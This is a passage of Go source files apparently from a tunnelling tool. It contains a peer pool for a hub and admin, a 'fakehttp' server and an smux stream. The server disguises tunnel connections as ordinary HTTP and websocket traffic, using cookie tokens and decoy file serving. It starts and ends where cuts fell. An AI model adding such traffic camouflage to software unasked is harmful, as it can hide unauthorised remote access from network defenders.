| rxRet := <-rxRetCh 307 | rx, rxbuf, rxErr := rxRet.conn, rxRet.buf, rxRet.err 308 | 309 | if txErr != nil { 310 | if rx != nil { // close other side, no half open 311 | rx.Close() 312 | } 313 | return nil, txErr 314 | } 315 | 316 | if rxErr != nil { 317 | if tx != nil { 318 | tx.Close() 319 | } 320 | return nil, rxErr 321 | } 322 | 323 | return mkconn(rx, tx, rxbuf), nil 324 | } 325 | 326 | 327 | -------------------------------------------------------------------------------- /lib/base/pool.go: -------------------------------------------------------------------------------- 1 | package base 2 | 3 | import ( 4 | "net" 5 | "sync" 6 | "sync/atomic" 7 | "time" 8 | 9 | "encoding/hex" 10 | "strings" 11 | "sort" 12 | "fmt" 13 | 14 | kit "local/toolkit" 15 | "lib/smux" 16 | ) 17 | 18 | const ( 19 | maxInPool = 16384 20 | maxInfoMem = 4096 21 | ) 22 | 23 | type Pool struct { 24 | lock sync.RWMutex 25 | nextId int32 26 | m2P map[int32]*Peer // for ref Pear 27 | m2ID map[int32]string // for UUID // TODO: change type as []byte 28 | m2IPP map[int32]string // for IP:port 29 | } 30 | 31 | func NewPool() (*Pool) { 32 | return &Pool { 33 | m2P: make(map[int32]*Peer), 34 | m2ID: make(map[int32]string), 35 | m2IPP: make(map[int32]string), 36 | } 37 | } 38 | 39 | func (p *Pool) AddPear(peer *Peer) (int32, bool) { 40 | p.lock.Lock() 41 | if len(p.m2P) > maxInPool { 42 | p.lock.Unlock() 43 | return int32(-1), false 44 | } 45 | id := p.nextId 46 | 47 | peer.id = id 48 | p.m2P[id] = peer 49 | p.m2ID[id] = string(peer.UUID) 50 | p.m2IPP[id] = peer.Conn.RemoteAddr().String() 51 | 52 | p.nextId++ 53 | if p.nextId < 0 { 54 | p.nextId = 0 55 | } 56 | 57 | p.lock.Unlock() 58 | return id, true 59 | } 60 | 61 | func (p *Pool) DelPear(id int32) { 62 | p.lock.Lock() 63 | 64 | delete(p.m2P, id) 65 | delete(p.m2ID, id) 66 | delete(p.m2IPP, id) 67 | 68 | p.lock.Unlock() 69 | } 70 | 71 | func (p *Pool) getUUIDList(UUID []byte) (list []int32) { 72 | cmpID := string(UUID) 73 | list = make([]int32, 0) 74 | p.lock.RLock() 75 | for id, uid := range p.m2ID { 76 | if uid == cmpID { 77 | _, ok := p.m2P[id] 78 | if !ok { 79 | continue 80 | } 81 | list = append(list, id) 82 | } 83 | } 84 | p.lock.RUnlock() 85 | return list 86 | } 87 | 88 | func (p *Pool) CheckOld(UUID []byte, addr string) ([]*Peer) { 89 | cmpAddr := strings.Split(addr, ":") 90 | if len(cmpAddr) < 2{ 91 | return nil 92 | } 93 | 94 | list := p.getUUIDList(UUID) 95 | out := make([]*Peer, 0) 96 | 97 | for _, id := range list { 98 | v, ok := p.m2IPP[id] 99 | if !ok { 100 | continue 101 | } 102 | t := strings.Split(v, ":") 103 | if t[0] == cmpAddr[0] { 104 | oldpeer, ok := p.GetByID(id) 105 | if ok { 106 | out = append(out, oldpeer) 107 | } 108 | } 109 | } 110 | return out 111 | } 112 | 113 | func (p *Pool) GetByID(id int32) (*Peer, bool) { 114 | p.lock.RLock() 115 | data, ok := p.m2P[id] 116 | p.lock.RUnlock() 117 | return data, ok 118 | } 119 | 120 | func (p *Pool) GetByUTag(UTag string) (data *Peer, ok bool) { 121 | arg := strings.Split(UTag, "/") 122 | if len(arg) < 2{ 123 | return nil , false 124 | } 125 | p.lock.RLock() 126 | defer p.lock.RUnlock() 127 | 128 | ok = false 129 | maybeID := make([]int32, 0) 130 | for idx, addr := range p.m2IPP { 131 | if addr == arg[1] { 132 | maybeID = append(maybeID, idx) 133 | } 134 | } 135 | 136 | decoded, _ := hex.DecodeString(arg[0]) 137 | cmpID := string(decoded) 138 | for _, id := range maybeID { 139 | UUID, _ := p.m2ID[id] 140 | if UUID == cmpID { 141 | data, ok = p.m2P[id] 142 | break 143 | } 144 | } 145 | 146 | return data, ok 147 | } 148 | 149 | func (p *Pool) getList() ([]*PeerInfo) { 150 | peers := make([]*PeerInfo, 0, len(p.m2P)) 151 | for _, v := range p.m2P { 152 | addr := v.Conn.RemoteAddr().String() 153 | p := &PeerInfo{ 154 | UUID: v.UUID, 155 | Addr: addr, 156 | UTag: fmt.Sprintf("%v/%v", kit.Hex(v.UUID), addr), 157 | UpTime: v.UpTime, 158 | RTT: v.Mux.GetRTT(), 159 | } 160 | peers = append(peers, p) 161 | } 162 | return peers 163 | } 164 | 165 | func (p *Pool) Clear() { 166 | p.lock.Lock() 167 | p.m2P = make(map[int32]*Peer) 168 | p.m2ID = make(map[int32]string) 169 | p.m2IPP = make(map[int32]string) 170 | p.lock.Unlock() 171 | } 172 | 173 | func (p *Pool) WriteListTo(conn net.Conn) (int) { 174 | p.lock.RLock() 175 | peers := p.getList() 176 | p.lock.RUnlock() 177 | 178 | v := PeerList(peers) 179 | return v.WriteTo(conn) 180 | } 181 | 182 | // hub only 183 | type Peer struct { 184 | id int32 185 | UUID []byte 186 | Conn net.Conn 187 | Mux *smux.Session 188 | UpTime time.Time 189 | Info *Info 190 | } 191 | 192 | // over hub and admin 193 | type PeerInfo struct { 194 | UUID []byte 195 | Addr string 196 | UTag string 197 | UpTime time.Time 198 | RTT time.Duration 199 | } 200 | 201 | func (p *PeerInfo) String() (string) { 202 | now := time.Now() 203 | t := p.UpTime.Format(time.RFC3339) 204 | t2 := now.Sub(p.UpTime).String() 205 | return fmt.Sprintf("%v [%v](%v) %v", p.UTag, t, t2, p.RTT) 206 | } 207 | 208 | type PeerList []*PeerInfo 209 | func (p PeerList) WriteTo(conn net.Conn) (int) { 210 | list := []*PeerInfo(p) 211 | n := len(list) 212 | kit.WriteVLen(conn, int64(n)) 213 | for _, v := range list { 214 | kit.WriteVTagByte(conn, []byte(v.UTag)) 215 | kit.WriteVLen(conn, int64(v.RTT)) 216 | uptime, _ := v.UpTime.MarshalBinary() 217 | kit.WriteTagByte(conn, uptime) 218 | } 219 | return n 220 | } 221 | func (p *PeerList) ReadFrom(conn net.Conn) (int, error) { 222 | n, err := kit.ReadVLen(conn) 223 | if err != nil { 224 | return 0, err 225 | } 226 | 227 | list := make([]*PeerInfo, 0, n) 228 | for i := 0; i < int(n); i++ { 229 | utag, err := kit.ReadVTagByte(conn) 230 | if err != nil { 231 | break 232 | } 233 | 234 | rtt, err := kit.ReadVLen(conn) 235 | if err != nil { 236 | break 237 | } 238 | 239 | tbuf, err := kit.ReadTagByte(conn) 240 | if err != nil { 241 | break 242 | } 243 | uptime := time.Time{} 244 | err = uptime.UnmarshalBinary(tbuf) 245 | if err != nil { 246 | uptime = time.Now() 247 | } 248 | 249 | v := &PeerInfo{ 250 | UTag: string(utag), 251 | RTT: time.Duration(rtt), 252 | UpTime: uptime, 253 | } 254 | 255 | list = append(list, v) 256 | } 257 | 258 | *p = PeerList(list) 259 | 260 | return int(n), err 261 | } 262 | 263 | func (p *PeerList) GetListByID() ([]*PeerInfo) { 264 | sort.Sort(ByID([]*PeerInfo(*p))) 265 | return []*PeerInfo(*p) 266 | } 267 | 268 | func (p *PeerList) GetListByAddr() ([]*PeerInfo) { 269 | sort.Sort(ByAddr([]*PeerInfo(*p))) 270 | return []*PeerInfo(*p) 271 | } 272 | 273 | func (p *PeerList) GetListByTime() ([]*PeerInfo) { 274 | sort.Sort(ByTime([]*PeerInfo(*p))) 275 | return []*PeerInfo(*p) 276 | } 277 | 278 | func (p *PeerList) GetListByRTT() ([]*PeerInfo) { 279 | sort.Sort(ByRTT([]*PeerInfo(*p))) 280 | return []*PeerInfo(*p) 281 | } 282 | 283 | 284 | type ByID []*PeerInfo 285 | func (s ByID) Len() int { 286 | return len(s) 287 | } 288 | func (s ByID) Swap(i, j int) { 289 | s[i], s[j] = s[j], s[i] 290 | } 291 | func (s ByID) Less(i, j int) bool { 292 | return s[i].UTag < s[j].UTag 293 | } 294 | 295 | type ByAddr []*PeerInfo 296 | func (s ByAddr) Len() int { 297 | return len(s) 298 | } 299 | func (s ByAddr) Swap(i, j int) { 300 | s[i], s[j] = s[j], s[i] 301 | } 302 | func (s ByAddr) Less(i, j int) bool { 303 | return s[i].Addr < s[j].Addr 304 | } 305 | 306 | type ByTime []*PeerInfo 307 | func (s ByTime) Len() int { 308 | return len(s) 309 | } 310 | func (s ByTime) Swap(i, j int) { 311 | s[i], s[j] = s[j], s[i] 312 | } 313 | func (s ByTime) Less(i, j int) bool { 314 | return s[i].UpTime.Before(s[j].UpTime) // oldest first 315 | } 316 | 317 | type ByRTT []*PeerInfo 318 | func (s ByRTT) Len() int { 319 | return len(s) 320 | } 321 | func (s ByRTT) Swap(i, j int) { 322 | s[i], s[j] = s[j], s[i] 323 | } 324 | func (s ByRTT) Less(i, j int) bool { 325 | return s[i].RTT < s[j].RTT 326 | } 327 | 328 | func NewPeer(p1 net.Conn, mux *smux.Session, UUID []byte) *Peer { 329 | return &Peer{ 330 | UUID: UUID, 331 | Conn: p1, 332 | Mux: mux, 333 | UpTime: time.Now(), 334 | Info: NewInfo(), 335 | } 336 | } 337 | 338 | type Info struct { 339 | size int32 340 | data map[string]string 341 | lock sync.RWMutex 342 | } 343 | 344 | func NewInfo() *Info { 345 | return &Info{ 346 | data: make(map[string]string), 347 | } 348 | } 349 | 350 | func (inf *Info) Get(key string) (string, bool) { 351 | inf.lock.RLock() 352 | data, ok := inf.data[key] 353 | inf.lock.RUnlock() 354 | return data, ok 355 | } 356 | 357 | func (inf *Info) Set(key string, value string) (bool) { 358 | inf.lock.Lock() 359 | newsize := int(inf.size) + len(key) + len(value) 360 | if newsize > maxInfoMem { 361 | inf.lock.Unlock() 362 | return false 363 | } 364 | inf.size = int32(newsize) 365 | inf.data[key] = value 366 | inf.lock.Unlock() 367 | return true 368 | } 369 | 370 | func (inf *Info) Del(key string) { 371 | inf.lock.Lock() 372 | data, ok := inf.data[key] 373 | if ok { 374 | inf.size -= int32(len(key) + len(data)) 375 | } 376 | delete(inf.data, key) 377 | inf.lock.Unlock() 378 | return 379 | } 380 | 381 | func (inf *Info) Mem() int { 382 | return int(atomic.LoadInt32(&inf.size)) 383 | } 384 | 385 | func (inf *Info) Clear() { 386 | inf.lock.Lock() 387 | inf.data = make(map[string]string) 388 | inf.lock.Unlock() 389 | } 390 | 391 | func (inf *Info) WriteTo(conn net.Conn) (int) { 392 | inf.lock.RLock() 393 | 394 | n := len(inf.data) 395 | kit.WriteVLen(conn, int64(n)) 396 | for k, v := range inf.data { 397 | kit.WriteVTagByte(conn, []byte(k)) // TODO: key length limit!! 398 | kit.WriteVTagByte(conn, []byte(v)) 399 | } 400 | 401 | inf.lock.RUnlock() 402 | return n 403 | } 404 | 405 | func (inf *Info) ReadFrom(conn net.Conn) (int, error) { 406 | 407 | n, err := kit.ReadVLen(conn) 408 | if err != nil { 409 | return 0, err 410 | } 411 | 412 | for i := 0; i < int(n); i++ { 413 | k, err := kit.ReadVTagByte(conn) // TODO: key length limit!! 414 | if err != nil { 415 | break 416 | } 417 | v, err := kit.ReadVTagByte(conn) 418 | if err != nil { 419 | break 420 | } 421 | 422 | inf.Set(string(k), string(v)) 423 | } 424 | 425 | return int(n), err 426 | } 427 | 428 | -------------------------------------------------------------------------------- /lib/fakehttp/httpd.go: -------------------------------------------------------------------------------- 1 | package fakehttp 2 | 3 | import ( 4 | "bufio" 5 | "errors" 6 | "net" 7 | "net/http" 8 | "sync" 9 | "sync/atomic" 10 | "time" 11 | ) 12 | 13 | var ( 14 | errBrokenPipe = errors.New("broken pipe") 15 | ErrServerClose = errors.New("server close") 16 | ) 17 | 18 | type Server struct { 19 | mx sync.Mutex 20 | die chan struct{} 21 | dieLock sync.Mutex 22 | states map[string]*state 23 | accepts chan net.Conn 24 | lis net.Listener 25 | 26 | cleanerStarted uint32 27 | 28 | TxMethod string 29 | RxMethod string 30 | TxFlag string 31 | RxFlag string 32 | TokenCookieA string 33 | TokenCookieB string 34 | TokenCookieC string 35 | HeaderServer string 36 | HttpHandler http.Handler 37 | UseWs bool 38 | OnlyWs bool 39 | TokenTTL time.Duration 40 | } 41 | 42 | type state struct { 43 | IP string 44 | mx sync.Mutex 45 | connR net.Conn 46 | bufR *bufio.ReadWriter 47 | connW net.Conn 48 | ttl time.Time 49 | } 50 | 51 | func NewServer(lis net.Listener) (*Server) { 52 | srv := &Server{ 53 | lis: lis, 54 | states: make(map[string]*state), 55 | accepts: make(chan net.Conn, 128), 56 | TxMethod: txMethod, 57 | RxMethod: rxMethod, 58 | TxFlag: txFlag, 59 | RxFlag: rxFlag, 60 | TokenCookieA: tokenCookieA, 61 | TokenCookieB: tokenCookieB, 62 | TokenCookieC: tokenCookieC, 63 | HeaderServer: headerServer, 64 | HttpHandler: http.FileServer(http.Dir("./www")), 65 | UseWs: true, 66 | OnlyWs: false, 67 | TokenTTL: tokenTTL, 68 | } 69 | 70 | return srv 71 | } 72 | 73 | func NewHandle(hdlr http.Handler) (*Server) { 74 | srv := &Server{ 75 | states: make(map[string]*state), 76 | accepts: make(chan net.Conn, 128), 77 | TxMethod: txMethod, 78 | RxMethod: rxMethod, 79 | TxFlag: txFlag, 80 | RxFlag: rxFlag, 81 | TokenCookieA: tokenCookieA, 82 | TokenCookieB: tokenCookieB, 83 | TokenCookieC: tokenCookieC, 84 | HeaderServer: headerServer, 85 | HttpHandler: hdlr, 86 | UseWs: true, 87 | OnlyWs: false, 88 | TokenTTL: tokenTTL, 89 | } 90 | 91 | srv.startTokenCleaner() 92 | 93 | return srv 94 | } 95 | 96 | // only start 1 goroutine 97 | func (srv *Server) startTokenCleaner() { 98 | if atomic.CompareAndSwapUint32(&srv.cleanerStarted, 0, 1) { 99 | go srv.tokenCleaner() 100 | } 101 | } 102 | 103 | func (srv *Server) StartServer() () { 104 | if srv.lis == nil { 105 | return 106 | } 107 | 108 | srv.startTokenCleaner() 109 | 110 | http.HandleFunc("/", srv.ServeHTTP) 111 | go http.Serve(srv.lis, nil) 112 | } 113 | 114 | func (srv *Server) Accept() (net.Conn, error) { 115 | select { 116 | case <-srv.die: 117 | return nil, ErrServerClose 118 | case conn := <-srv.accepts: 119 | return conn, nil 120 | } 121 | } 122 | 123 | func (srv *Server) Addr() (net.Addr) { 124 | if srv.lis == nil { 125 | return nil 126 | } 127 | return srv.lis.Addr() 128 | } 129 | 130 | func (srv *Server) Close() (error) { 131 | srv.dieLock.Lock() 132 | 133 | select { 134 | case <-srv.die: 135 | srv.dieLock.Unlock() 136 | return ErrServerClose 137 | default: 138 | close(srv.die) 139 | srv.dieLock.Unlock() 140 | if srv.lis != nil { 141 | return srv.lis.Close() 142 | } 143 | return nil 144 | } 145 | } 146 | 147 | // set cookie: TokenCookieA = XXXX 148 | // try get cookie: TokenCookieB = XXXX 149 | func (srv *Server) ServeHTTP(w http.ResponseWriter, r *http.Request) { 150 | var cc *state 151 | var ok bool 152 | var err error 153 | var c, ct *http.Cookie 154 | 155 | c, err = r.Cookie(srv.TokenCookieB) // token 156 | if err != nil { 157 | Vlogln(3, "cookieB err:", c, err) 158 | goto FILE 159 | } 160 | 161 | ct, err = r.Cookie(srv.TokenCookieC) // flag 162 | if err != nil { 163 | Vlogln(3, "cookieC err:", ct, err) 164 | goto FILE 165 | } 166 | Vlogln(3, "cookieC ok:", ct) 167 | 168 | cc, ok = srv.checkToken(c.Value) 169 | if ok { 170 | if r.Method == srv.RxMethod || r.Method == srv.TxMethod { 171 | Vlogln(2, "req check:", c.Value) 172 | } else { 173 | goto FILE 174 | } 175 | 176 | if srv.OnlyWs { 177 | srv.handleWs(w, r, c.Value, ct.Value, cc) 178 | return 179 | } else { 180 | // check ws or not 181 | if !srv.UseWs { 182 | srv.handleNonWs(w, r, c.Value, ct.Value, cc) 183 | return 184 | } else { 185 | if r.Header.Get("Upgrade") == "websocket" && r.Header.Get("Sec-WebSocket-Key") == c.Value { 186 | srv.handleWs(w, r, c.Value, ct.Value, cc) 187 | return 188 | } 189 | 190 | srv.handleNonWs(w, r, c.Value, ct.Value, cc) 191 | return 192 | } 193 | } 194 | } 195 | 196 | FILE: 197 | srv.handleBase(w,r) 198 | } 199 | 200 | func (srv *Server) handleBase(w http.ResponseWriter, r *http.Request) { 201 | header := w.Header() 202 | header.Set("Server", srv.HeaderServer) 203 | token := randStringBytes(16) 204 | expiration := time.Now().AddDate(0, 0, 3) 205 | cookie := http.Cookie{Name: srv.TokenCookieA, Value: token, Expires: expiration} 206 | http.SetCookie(w, &cookie) 207 | srv.regToken(token) 208 | 209 | Vlogln(2, "web:", r.URL.Path, token) 210 | 211 | srv.HttpHandler.ServeHTTP(w, r) 212 | } 213 | 214 | func (srv *Server) handleWs(w http.ResponseWriter, r *http.Request, token string, flag string, cc *state) { 215 | // for k, v := range r.Header { 216 | // Vlogln(4, "[ws]", k, v) 217 | // } 218 | // ip := r.Header.Get("X-Forwarded-For") 219 | // Vlogln(4, "X-Forwarded-For", ip) 220 | ip := r.Header.Get("Cf-Connecting-Ip") 221 | 222 | hj, ok := w.(http.Hijacker) 223 | if !ok { 224 | Vlogln(2, "hijacking err1:", ok) 225 | return 226 | } 227 | Vlogln(3, "hijacking ok1") 228 | 229 | conn, bufrw, err := hj.Hijack() 230 | if err != nil { 231 | Vlogln(2, "hijacking err:", err) 232 | return 233 | } 234 | Vlogln(3, "hijacking ok2") 235 | bufrw.Flush() 236 | 237 | conn.Write([]byte("HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: " + token + "\r\n\r\n")) 238 | 239 | cc.mx.Lock() 240 | defer cc.mx.Unlock() 241 | if r.Method == srv.RxMethod && flag == srv.RxFlag { 242 | Vlogln(2, token, " <-> client") 243 | srv.rmToken(token) 244 | srv.accepts <- mkConnAddr(conn, ip) 245 | } 246 | Vlogln(3, "ws init end") 247 | } 248 | 249 | func (srv *Server) handleNonWs(w http.ResponseWriter, r *http.Request, token string, flag string, cc *state) { 250 | flusher, ok := w.(http.Flusher) 251 | if !ok { 252 | srv.handleBase(w,r) 253 | return 254 | } 255 | header := w.Header() 256 | header.Set("Cache-Control", "private, no-store, no-cache, max-age=0") 257 | header.Set("Content-Encoding", "gzip") 258 | flusher.Flush() 259 | Vlogln(3, "Flush") 260 | 261 | hj, ok := w.(http.Hijacker) 262 | if !ok { 263 | Vlogln(2, "hijacking err1:", ok) 264 | return 265 | } 266 | Vlogln(3, "hijacking ok1") 267 | 268 | conn, bufrw, err := hj.Hijack() 269 | if err != nil { 270 | Vlogln(2, "hijacking err:", err) 271 | return 272 | } 273 | Vlogln(3, "hijacking ok2") 274 | bufrw.Flush() 275 | 276 | cc.mx.Lock() 277 | defer cc.mx.Unlock() 278 | if r.Method == srv.RxMethod && flag == srv.RxFlag { 279 | Vlogln(2, token, " -> client") 280 | cc.connW = conn 281 | } 282 | if r.Method == srv.TxMethod && flag == srv.TxFlag { 283 | Vlogln(2, token, " <- client") 284 | cc.connR = conn 285 | cc.bufR = bufrw 286 | } 287 | if cc.connR != nil && cc.connW != nil { 288 | srv.rmToken(token) 289 | 290 | // for k, v := range r.Header { 291 | // Vlogln(4, "[ws]", k, v) 292 | // } 293 | // ip := r.Header.Get("X-Forwarded-For") 294 | // Vlogln(4, "X-Forwarded-For", ip) 295 | ip := r.Header.Get("Cf-Connecting-Ip") 296 | 297 | n := cc.bufR.Reader.Buffered() 298 | buf := make([]byte, n) 299 | cc.bufR.Reader.Read(buf[:n]) 300 | srv.accepts <- mkConnAddr(mkconn(cc.connR, cc.connW, buf[:n]), ip) 301 | } 302 | Vlogln(3, "non-ws init end") 303 | } 304 | 305 | func (srv *Server) regToken(token string) { 306 | srv.mx.Lock() 307 | defer srv.mx.Unlock() 308 | 309 | _, ok := srv.states[token] 310 | if ok { 311 | Vlogln(2, "dobule token err:", token) 312 | } 313 | srv.states[token] = &state { 314 | ttl: time.Now().Add(srv.TokenTTL), 315 | } 316 | } 317 | func (srv *Server) checkToken(token string) (*state, bool) { 318 | srv.mx.Lock() 319 | defer srv.mx.Unlock() 320 | 321 | c, ok := srv.states[token] 322 | if !ok { 323 | return nil, false 324 | } 325 | if time.Now().After(c.ttl) { 326 | delete(srv.states, token) 327 | return nil, false 328 | } 329 | return c, true 330 | } 331 | func (srv *Server) rmToken(token string) { 332 | srv.mx.Lock() 333 | defer srv.mx.Unlock() 334 | 335 | _, ok := srv.states[token] 336 | if !ok { 337 | return 338 | } 339 | 340 | delete(srv.states, token) 341 | 342 | return 343 | } 344 | 345 | func (srv *Server) tokenCleaner() { 346 | ticker := time.NewTicker(tokenClean) 347 | defer ticker.Stop() 348 | for { 349 | select { 350 | case <-srv.die: 351 | return 352 | case <-ticker.C: 353 | } 354 | 355 | list := make([]*state, 0) 356 | 357 | srv.mx.Lock() 358 | for idx, c := range srv.states { 359 | if time.Now().After(c.ttl) { 360 | delete(srv.states, idx) 361 | list = append(list, c) 362 | Vlogln(4, "[gc]", idx, c) 363 | } 364 | } 365 | srv.mx.Unlock() 366 | 367 | // check and close half open connection 368 | for _, cc := range list { 369 | cc.mx.Lock() 370 | if cc.connR == nil && cc.connW != nil { 371 | cc.connW.Close() 372 | cc.connW = nil 373 | Vlogln(4, "[gc]half open W", cc) 374 | } 375 | if cc.connR != nil && cc.connW == nil { 376 | cc.connR.Close() 377 | cc.connR = nil 378 | Vlogln(4, "[gc]half open R", cc) 379 | } 380 | cc.mx.Unlock() 381 | } 382 | } 383 | } 384 | 385 | -------------------------------------------------------------------------------- /lib/smux/stream.go: -------------------------------------------------------------------------------- 1 | package smux 2 | 3 | import ( 4 | "bytes" 5 | "io" 6 | "net" 7 | "sync" 8 | "sync/atomic" 9 | "time" 10 | ) 11 | 12 | // Stream implements net.Conn 13 | type Stream struct { 14 | id uint32 15 | rstflag int32 16 | sess *Session 17 | buffer bytes.Buffer 18 | bufferLock sync.Mutex 19 | frameSize int 20 | chReadEvent chan struct{} // notify a read event 21 | die chan struct{} // flag the stream has closed 22 | dieLock sync.Mutex 23 | readDeadline atomic.Value 24 | writeDeadline atomic.Value 25 | 26 | bucket int32 // token bucket 27 | bucketNotify chan struct{} // used for waiting for tokens 28 | fulflag int32 29 | empflagLock sync.Mutex 30 | empflag int32 31 | countRead int32 // for guess read speed 32 | boostTimeout time.Time // for initial boost 33 | guessBucket int32 // for guess needed stream buffer size 34 | 35 | lastWrite atomic.Value 36 | guessNeeded int32 37 | } 38 | 39 | // newStream initiates a Stream struct 40 | func newStream(id uint32, frameSize int, sess *Session) *Stream { 41 | s := new(Stream) 42 | s.id = id 43 | s.chReadEvent = make(chan struct{}, 1) 44 | s.frameSize = frameSize 45 | s.sess = sess 46 | s.die = make(chan struct{}) 47 | 48 | s.bucket = int32(0) 49 | s.bucketNotify = make(chan struct{}, 1) 50 | s.empflag = int32(1) 51 | s.countRead = int32(0) 52 | s.boostTimeout = time.Now().Add(s.sess.BoostTimeout) 53 | s.guessBucket = int32(s.sess.MaxStreamBuffer) 54 | s.lastWrite.Store(time.Now()) 55 | return s 56 | } 57 | 58 | // ID returns the unique stream ID. 59 | func (s *Stream) ID() uint32 { 60 | return s.id 61 | } 62 | 63 | // Read implements net.Conn 64 | func (s *Stream) Read(b []byte) (n int, err error) { 65 | if len(b) == 0 { 66 | select { 67 | case <-s.die: 68 | return 0, ErrBrokenPipe 69 | default: 70 | return 0, nil 71 | } 72 | } 73 | 74 | var deadline <-chan time.Time 75 | if d, ok := s.readDeadline.Load().(time.Time); ok && !d.IsZero() { 76 | timer := time.NewTimer(d.Sub(time.Now())) 77 | defer timer.Stop() 78 | deadline = timer.C 79 | } 80 | 81 | READ: 82 | s.bufferLock.Lock() 83 | n, err = s.buffer.Read(b) 84 | rem := s.buffer.Len() 85 | s.bufferLock.Unlock() 86 | 87 | if n > 0 { 88 | s.sess.returnTokens(n) 89 | s.returnTokens(n) 90 | return n, nil 91 | } else if rem > 0 { 92 | return n, nil 93 | } else if atomic.LoadInt32(&s.rstflag) == 1 { 94 | _ = s.Close() 95 | return 0, io.EOF 96 | } 97 | 98 | select { 99 | case <-s.chReadEvent: 100 | goto READ 101 | case <-deadline: 102 | return n, errTimeout 103 | case <-s.die: 104 | return 0, ErrBrokenPipe 105 | } 106 | } 107 | 108 | // Write implements net.Conn 109 | func (s *Stream) Write(b []byte) (n int, err error) { 110 | var deadline <-chan time.Time 111 | if d, ok := s.writeDeadline.Load().(time.Time); ok && !d.IsZero() { 112 | timer := time.NewTimer(d.Sub(time.Now())) 113 | defer timer.Stop() 114 | deadline = timer.C 115 | } 116 | 117 | select { 118 | case <-s.die: 119 | return 0, ErrBrokenPipe 120 | default: 121 | } 122 | 123 | if atomic.LoadInt32(&s.fulflag) == 1 { 124 | select { 125 | case <-s.bucketNotify: 126 | case <-s.die: 127 | return 0, ErrBrokenPipe 128 | case <-deadline: 129 | return 0, errTimeout 130 | } 131 | } 132 | 133 | frames := s.split(b, cmdPSH, s.id) 134 | sent := 0 135 | for k := range frames { 136 | req := writeRequest{ 137 | frame: frames[k], 138 | result: make(chan writeResult, 1), 139 | } 140 | 141 | select { 142 | case s.sess.writes <- req: 143 | case <-s.die: 144 | return sent, ErrBrokenPipe 145 | case <-deadline: 146 | return sent, errTimeout 147 | } 148 | 149 | select { 150 | case result := <-req.result: 151 | sent += result.n 152 | if result.err != nil { 153 | return sent, result.err 154 | } 155 | case <-s.die: 156 | return sent, ErrBrokenPipe 157 | case <-deadline: 158 | return sent, errTimeout 159 | } 160 | } 161 | return sent, nil 162 | } 163 | 164 | // Close implements net.Conn 165 | func (s *Stream) Close() error { 166 | s.dieLock.Lock() 167 | 168 | select { 169 | case <-s.die: 170 | s.dieLock.Unlock() 171 | if atomic.LoadInt32(&s.rstflag) == 1 { 172 | return nil 173 | } 174 | return ErrBrokenPipe 175 | default: 176 | close(s.die) 177 | s.dieLock.Unlock() 178 | s.sess.streamClosed(s.id) 179 | _, err := s.sess.writeFrame(newFrame(cmdFIN, s.id)) 180 | return err 181 | } 182 | } 183 | 184 | // SetReadDeadline sets the read deadline as defined by 185 | // net.Conn.SetReadDeadline. 186 | // A zero time value disables the deadline. 187 | func (s *Stream) SetReadDeadline(t time.Time) error { 188 | s.readDeadline.Store(t) 189 | return nil 190 | } 191 | 192 | // SetWriteDeadline sets the write deadline as defined by 193 | // net.Conn.SetWriteDeadline. 194 | // A zero time value disables the deadline. 195 | func (s *Stream) SetWriteDeadline(t time.Time) error { 196 | s.writeDeadline.Store(t) 197 | return nil 198 | } 199 | 200 | // SetDeadline sets both read and write deadlines as defined by 201 | // net.Conn.SetDeadline. 202 | // A zero time value disables the deadlines. 203 | func (s *Stream) SetDeadline(t time.Time) error { 204 | if err := s.SetReadDeadline(t); err != nil { 205 | return err 206 | } 207 | if err := s.SetWriteDeadline(t); err != nil { 208 | return err 209 | } 210 | return nil 211 | } 212 | 213 | // session closes the stream 214 | func (s *Stream) sessionClose() { 215 | s.dieLock.Lock() 216 | defer s.dieLock.Unlock() 217 | 218 | select { 219 | case <-s.die: 220 | default: 221 | close(s.die) 222 | } 223 | } 224 | 225 | // LocalAddr satisfies net.Conn interface 226 | func (s *Stream) LocalAddr() net.Addr { 227 | if ts, ok := s.sess.conn.(interface { 228 | LocalAddr() net.Addr 229 | }); ok { 230 | return ts.LocalAddr() 231 | } 232 | return nil 233 | } 234 | 235 | // RemoteAddr satisfies net.Conn interface 236 | func (s *Stream) RemoteAddr() net.Addr { 237 | if ts, ok := s.sess.conn.(interface { 238 | RemoteAddr() net.Addr 239 | }); ok { 240 | return ts.RemoteAddr() 241 | } 242 | return nil 243 | } 244 | 245 | // pushBytes a slice into buffer 246 | func (s *Stream) pushBytes(p []byte) { 247 | s.bufferLock.Lock() 248 | s.buffer.Write(p) 249 | s.bufferLock.Unlock() 250 | 251 | if !s.sess.EnableStreamBuffer { 252 | return 253 | } 254 | 255 | n := len(p) 256 | used := atomic.AddInt32(&s.bucket, int32(n)) 257 | lastReadOut := atomic.SwapInt32(&s.countRead, int32(0)) // reset read 258 | 259 | // hard limit 260 | if used > int32(s.sess.MaxStreamBuffer) { 261 | s.sendPause() 262 | return 263 | } 264 | 265 | if lastReadOut != 0 { 266 | s.lastWrite.Store(time.Now()) 267 | needed := atomic.LoadInt32(&s.guessNeeded) 268 | s.guessBucket = int32(float32(s.guessBucket) * 0.8 + float32(needed) * 0.2) 269 | } 270 | 271 | if used <= s.guessBucket { 272 | s.boostTimeout = time.Now().Add(s.sess.BoostTimeout) 273 | return 274 | } 275 | 276 | if time.Now().After(s.boostTimeout) { 277 | s.sendPause() 278 | } 279 | } 280 | 281 | // recycleTokens transform remaining bytes to tokens(will truncate buffer) 282 | func (s *Stream) recycleTokens() (n int) { 283 | s.bufferLock.Lock() 284 | n = s.buffer.Len() 285 | s.buffer.Reset() 286 | s.bufferLock.Unlock() 287 | return 288 | } 289 | 290 | // split large byte buffer into smaller frames, reference only 291 | func (s *Stream) split(bts []byte, cmd byte, sid uint32) []Frame { 292 | frames := make([]Frame, 0, len(bts)/s.frameSize+1) 293 | for len(bts) > s.frameSize { 294 | frame := newFrame(cmd, sid) 295 | frame.data = bts[:s.frameSize] 296 | bts = bts[s.frameSize:] 297 | frames = append(frames, frame) 298 | } 299 | if len(bts) > 0 { 300 | frame := newFrame(cmd, sid) 301 | frame.data = bts 302 | frames = append(frames, frame) 303 | } 304 | return frames 305 | } 306 | 307 | // notify read event 308 | func (s *Stream) notifyReadEvent() { 309 | select { 310 | case s.chReadEvent <- struct{}{}: 311 | default: 312 | } 313 | } 314 | 315 | // mark this stream has been reset 316 | func (s *Stream) markRST() { 317 | atomic.StoreInt32(&s.rstflag, 1) 318 | } 319 | 320 | // mark this stream has been pause write 321 | func (s *Stream) pauseWrite() { 322 | 